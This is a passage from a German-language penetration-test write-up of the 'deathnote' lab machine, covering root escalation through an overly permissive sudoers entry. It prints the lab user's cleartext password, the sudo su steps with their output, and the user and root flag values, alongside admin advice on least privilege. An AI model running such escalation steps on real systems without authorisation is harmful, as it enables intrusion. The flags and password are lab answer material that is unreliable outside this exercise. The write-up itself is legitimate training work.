Bewertung:** **Privilege Escalation erfolgreich!** Aufgrund der unsicheren `sudoers`-Konfiguration erhält `kira` ohne weitere Passwortabfrage eine Root-Shell (`uid=0(root)`).

Empfehlung (Pentester):** Root-Zugriff erlangt. Suche die Root-Flag.
Empfehlung (Admin):** Siehe vorherige Empfehlung zur `sudoers`-Konfiguration.

root@deathnote:/opt/L/fake-notebook-rule# cd /
root@deathnote:/# ls -la
[...]
root@deathnote:/# cd ~
root@deathnote:~# ls
root.txt
root@deathnote:~# cat root.txt


      ::::::::       ::::::::       ::::    :::       ::::::::       :::::::::           :::    :::::::::::       ::::::::
    :+:    :+:     :+:    :+:      :+:+:   :+:      :+:    :+:      :+:    :+:        :+: :+:      :+:          :+:    :+:
   +:+            +:+    +:+      :+:+:+  +:+      +:+             +:+    +:+       +:+   +:+     +:+          +:+
  +#+            +#+    +:+      +#+ +:+ +#+      :#:             +#++:++#:       +#++:++#++:    +#+          +#++:++#++
 +#+            +#+    +#+      +#+  +#+#+#      +#+   +#+#      +#+    +#+      +#+     +#+    +#+                 +#+
#+#    #+#     #+#    #+#      #+#   #+#+#      #+#    #+#      #+#    #+#      #+#     #+#    #+#          #+#    #+#
########       ########       ###    ####       ########       ###    ###      ###     ###    ###           ########

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF
                     

Analyse: Nach Erhalt der Root-Shell wird in das Root-Home-Verzeichnis (`/root` oder `~`) gewechselt und die Datei `root.txt` ausgegeben.

Bewertung: Die Root-Flag, erneut als ASCII-Art und Nachricht, wurde gefunden.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.

Proof of Concept: Privilege Escalation

Ziel des POC: Demonstrieren, wie nach Erlangung des Zugangs als Benutzer `kira` durch eine unsichere Konfiguration in der `sudoers`-Datei (`(ALL : ALL) ALL`) mittels `sudo su` vollständige Root-Rechte erlangt werden können.

Voraussetzungen:

  • Shell-Zugang als Benutzer `kira`.
  • Unsichere Konfiguration in `/etc/sudoers` für `kira`.
  • Tool `sudo` auf dem System installiert.

Schritt-für-Schritt Anleitung:

1. Shell als kira erlangen: (Wie in den vorherigen Schritten beschrieben, z.B. via `su kira`)

l@deathnote:~$ su kira
Password: kiraisevil
kira@deathnote:/opt/L/fake-notebook-rule$

2. `sudo -l` überprüfen (optional, zur Bestätigung):

kira@deathnote:/opt/L/fake-notebook-rule$ sudo -l
[sudo] password for kira: kiraisevil
[...]
User kira may run the following commands on deathnote:
    (ALL : ALL) ALL

3. `sudo su` ausführen: Den Befehl zur Eskalation ausführen.

kira@deathnote:/opt/L/fake-notebook-rule$ sudo su
root@deathnote:/opt/L/fake-notebook-rule#

4. Rechte überprüfen: Mit `id` die erlangten Root-Rechte bestätigen.

root@deathnote:/opt/L/fake-notebook-rule# id
uid=0(root) gid=0(root) groups=0(root)

Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die übermäßige Rechtevergabe in der `sudoers`-Datei ermöglichte eine triviale Eskalation zu Root.

Empfehlung (Pentester): Root-Zugriff ist erreicht. Flags extrahieren.
Empfehlung (Admin): **`/etc/sudoers`-Datei dringend überprüfen und korrigieren!** Prinzip der geringsten Rechte anwenden.

Flags

cat /home/l/user.txt (Wert aus Berichtende)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt (Wert aus Berichtende)
5C42D6BB0EE9CE4CB7E7349652C45C4A